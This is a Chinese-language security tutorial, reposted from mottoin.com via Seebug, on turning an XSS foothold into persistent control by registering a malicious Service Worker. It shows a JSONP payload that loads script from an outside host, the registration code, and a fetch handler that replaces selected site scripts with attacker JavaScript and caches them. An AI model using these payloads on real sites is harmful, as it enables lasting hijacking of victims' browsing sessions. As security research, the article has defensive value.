來源:http://www.mottoin.com/95058.html

作者:長短短

0x01 前言

今天給大家介紹一項新的瀏覽器技術:Service Workers,以及在 XSS 攻擊中的利用方式。

在利用 XSS 進行攻擊的過程中經常會遇到一個問題,就是目標觸發一次 XSS 水坑之后就不再觸發了,但竊取到的信息并不足以進行下一步攻擊,這時候我們就需要「持久化 XSS」的技術。在過去有很多種方式來提高 XSS 在線時間,如 opener hijack、link hijack、HTTP cache hijack,前兩項的提升有限,后一項要求較高需要 CRLF Inject 來完成。

Service Workers 全局請求攔截技術讓我們可以用 JS 代碼來攔截瀏覽器當前域的 HTTP 請求,并設置緩存的文件,直接返回,不經過 web 服務器,使目標只要在線就可以被我們控制。當然,由于這項技術能量太大,所以在設計的時候對他做了一定的約束:只在 HTTPS 下工作,安裝ServiceWorker的腳本需要當前域下,且返回的 content-type 包含 /javascript。

了解 ServiceWorker 最快的辦法是在 Chrome 下打開 chrome://serviceworker-internals,如下圖:

nstallation Status 表示是否被激活,Script 是我們安裝的腳本。

在攻擊的時候我們的安裝腳本通常是使用 JSONP 接口來完成,如:

[https://target.com/user/xxx?callback=.get('//html5sec.org/test.js'))

通過這種方式來完成 ServiceWorker 的安裝要求。Payload 中用到的 trick 是 jQuery.get 函數會自動將返回頭 content-type 為 */javascript 的資源作為 JS 代碼執行。

0x02 安裝

安裝方式:

if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register('/user/xxx?callback=alert(1)')
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};

安裝之后可以通過開發者工具查看是否成功:

  1. 進入 chrome://flags 開啟 ‘Enable DevTools Experiments’.
  2. 打開DevTools, 進入 Setting > Experiments , 連續按shift鍵6下
  3. 在DevTools的Resources頁面里就能看到剛被開啟的隱藏功能:

serviceworkers2

如果安裝腳本出現錯誤則會顯示:

serviceworkers3

0x03 攻擊思路

安裝好之后,現在應該考慮如何植入攻擊腳本?

在編寫攻擊腳本之前我們需要先了解一個瀏覽器技術的概念叫:Web Worker。

「Web Worker 是HTML5標準的一部分,這一規范定義了一套 API,它允許一段JavaScript程序運行在主線程之外的另外一個線程中。Web Worker 規范中定義了兩類工作線程,分別是專用線程Dedicated Worker和共享線程 Shared Worker,其中,Dedicated Worker只能為一個頁面所使用,而Shared Worker則可以被多個頁面所共享。」

ServiceWorker 的腳本在后臺運行過程中用的就是 Worker,這里我不多介紹 Worker 的用法,但我們需要知道 Worker 的一些限制。

在 worker 線程中,可以獲得下列對象

  • navigator對象
  • location對象,只讀
  • XMLHttpRequest對象
  • setTimeout/setInterval方法
  • Application Cache
  • 通過importScripts()方法加載其他腳本
  • 創建新的Web Worker

Worker 線程不能獲得下列對象

  • DOM對象
  • window對象
  • document對象
  • parent對象

上述的規范,限制了在worker線程中獲得主線程頁面相關對象的能力,所以在worker線程中,不能進行dom元素的更新。也就是說在 Worker 的作用域中我們難以完成 XSS 攻擊,所以還是得通過劫持站內的 JS 來完成攻擊。

當 Service Worker 安裝成功,并且用戶瀏覽了另一個頁面或刷新當前頁面后,Service Worker 開始接收 fetch 事件,也就是感染腳本,我把它命名為 swhihack.js。

首先是監聽 fetch 事件:

self.addEventListener('fetch', function(event) {
//worker context
});

將 response 進行緩存:

function requestBackend(event){
var url = event.request.clone();
 if(url=='xxxxxx'){//判斷是否為需要劫持的資源
url.url='//html5sec.org/test.js';
 }
 return fetch(url).then(function(res){
 //檢測是否為有效響應
 if(!res || res.status !== 200 || res.type !== 'basic'){
 return res;
 }
 var response = res.clone();
 caches.open(CACHE_VERSION).then(function(cache){
 cache.put(event.request, response);
 });

 return res;
 })
}

完工:

self.addEventListener('fetch', function (event) {
 event.respondWith(
 caches.match(event.request).then(function(res){
 if(res){//如果有緩存則使用緩存
 return res;
 }
 return requestBackend(event);//沒緩存就進行緩存
 })
 )
});

二向箔安全微信公眾號

20170106234958


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/177/